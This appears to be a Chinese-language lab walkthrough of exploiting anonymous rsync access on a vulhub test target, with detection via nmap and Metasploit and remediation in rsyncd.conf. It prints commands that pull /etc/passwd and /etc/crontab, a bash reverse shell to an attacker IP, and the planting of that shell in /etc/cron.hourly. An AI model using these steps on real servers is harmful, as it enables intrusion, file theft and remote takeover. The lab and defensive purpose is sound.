漏洞介绍
rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步。也就是说如果你可以连接目标IP的rsync,那么你就可以上传恶意文件或下载目标IP上的任意文件(rsync默认是root权限),rsync默认端口号是873,rsync默认匿名访问模式,如果没有配置RCL或访问密码,因此我们不需要认证直接连接rsync,这样也就形成了漏洞。
环境介绍
攻击机:kali
靶机:ubuntu18.0.4
Rsync环境:vulhub环境
环境搭建
首先我们进入目录/vulhub-master/rsync/common
,然后执行构建环境并开启
docker-compose bulid
docker-compose up -d
rsync的常用命令:
列举整个同步目录或指定目录:
rsync ip::
rsync ip::xxx/
下载文件或目录到本地:
rsync -avz ip::xxx/xx.php /root
rsync -avz ip::xxx/ /var/tmp
上传文件到服务器:
rsync -avz webshell.php ip::web/
漏洞复现
1.首先我们在攻击机上对目标靶机进行扫描,发现端口如下:
nmap 192.168.252.170
我们可以看到rsync的端口是开启的
2.我们查看一下模块名列表以及其文件
我们在攻击机中执行如下命令
rsync rsync://192.168.252.170:873/
rsync rsync://192.168.252.170:873/src
3.下载其中的文件
rsync -av rsync://192.168.252.170:873/src/etc/passwd ./
我们将存放密码的文件下载,可以使用cat命令查看
4.编写shell文件
我们shell文件中写入
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.252.133/4444 0>&1
然后赋予执行权限
chmod +x shell
5.我们从靶机中下载cron定时任务配置文件查看任务内容
rsync -av rsync://192.168.252.170:873/src/etc/crontab ./
cat crontab
我们可以看到任务中每17分钟就会执行/etc/cron.hourly下文件的任务
6.将shell文件上传到靶机中的/etc/cron.hourly
目录中:
rsync -av shell rsync://192.168.252.170/src/etc/cron.hourly
7.等待任务被执行,就会反弹shell。
这里我们遇到了问题,就是计划任务时间是17分钟,时间有点长,我们尝试了修改其值为1,然后上传盖但是还是没有反弹shell,后来我们发现是docker中的计划任务没有执行导致无法反弹shell。
漏洞发现
rsync的漏洞扫描方式可以通过一下两种方式实现:
1.使用Metasploit中的rsync匿名访问扫描模块:
use auxiliary/scanner/rsync/modules_list
set RHOSTS 192.168.252.170
set THREADS 1
run
2.使用nmap扫描
nmap -p 873 --scrip rsync-list-modules 192.168.252.170
漏洞修复
我们可以查看一下rsync的配置文件
我们可以发现,用户可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,所以无需密码可以直接访问rsync。
根据配置来修复的话,我们可以更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。